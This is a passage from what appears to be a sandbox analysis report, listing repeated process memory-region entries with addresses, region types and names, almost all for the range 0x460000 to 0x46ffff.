1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9403 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9404 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9405 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9406 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9407 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9408 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9409 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9410 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9411 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9412 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9413 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9414 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9415 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9416 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9417 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9418 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9419 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9420 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9421 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9422 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9423 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9424 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9425 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9426 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9427 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9428 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9429 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9430 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9431 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9432 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9433 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9434 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9435 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9436 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9437 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9438 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9439 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9440 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 9441 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9442 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9443 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9444 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9445 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9446 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9447 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9448 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9449 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9450 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9451 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9452 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9453 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9454 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9455 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9456 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9457 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9458 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9459 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9460 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9461 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9462 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9463 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9464 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9465 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9466 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9467 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9468 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9469 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9470 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9471 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9472 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9473 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9474 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9475 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9476 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9477 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9478 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9479 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9480 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9481 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9482 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9483 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9484 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9485 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9486 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9487 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9488 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9489 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9490 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9491 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9492 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9493 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9494 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9495 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9496 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9497 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9498 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9499 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9500 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9501 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9502 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9503 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9504 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9505 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9506 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9507 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9508 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9509 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9510 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9511 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9512 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9513 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9514 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9515 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9516 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9517 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9518 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9519 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9520 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9521 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9522 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9523 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9524 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9525 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9526 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9527 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9528 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9529 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9530 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9531 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9532 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9533 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9534 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9535 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9536 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9537 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9538 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9539 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9540 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9541 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9542 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9543 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9544 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9545 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9546 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9547 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9548 start_va = 0x23a0000 end_va = 0x23a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 9549 start_va = 0x8fd0000 end_va = 0x90c9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008fd0000" filename = "" Region: id = 9550 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9551 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9552 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9553 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9554 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9555 start_va = 0x23b0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 9556 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9557 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9558 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9559 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9560 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9561 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9562 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9563 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9564 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9565 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9566 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9567 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9568 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9569 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9570 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9571 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9572 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9573 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9574 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9575 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9576 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9577 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9578 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9579 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9580 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9581 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9582 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9583 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9584 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9585 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9586 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9587 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9588 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9589 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9590 start_va = 0x460000 end_va = 